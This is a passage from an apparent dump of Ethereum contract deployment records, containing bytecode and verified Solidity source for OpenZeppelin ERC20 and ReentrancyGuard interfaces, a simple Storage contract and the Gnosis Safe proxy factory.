"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/security/ReentrancyGuard.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "london",
"libraries": {},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
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aa4df09d0ec6e361b6a35bd22e2844a3260de2733e921204fa357f3271fbe4ea
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5011d677b14ca4fae4e0848120b6f85c5834191f80bba5d9b644f4d3131f8ba9
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608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
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608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,998 |
514f2425c4f80812bcd52d09f4ccae753f7bceb3f06d9da5a6dfc5e57e017ca8
|
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|
9afdcdb37a66adabddb7dfd6d57123e1bb76db8c
|
9afdcdb37a66adabddb7dfd6d57123e1bb76db8c
|
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|
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|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,495,999 |
54841c6c9efcdd51b8397b68f7eef7f823dae4f8f81d23a2cf3f579d115abd08
|
b077b67d144c6e0a367219e9293752cccd8a19e5355456b5de5552f50ae39baf
|
9c91c777248560b8d4ad82772274ada84c6e8963
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
530b18df73d7dd255fa0a2244a2cdbd9d3daadbb
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,496,002 |
907fa6453b22ef6dfbc495fe337fc04086fd6dca4ba327f58b21db54d3f19200
|
bf2a818cef6d1d4681f7a4f4d06f0bd8d38397e4c725616c673d24df1ab99d37
|
040996a79cb165423cd50f208cf45dc4cc70ba24
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
49a1ef396d4e0cafc55cc2ae45af8f31d2036270
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
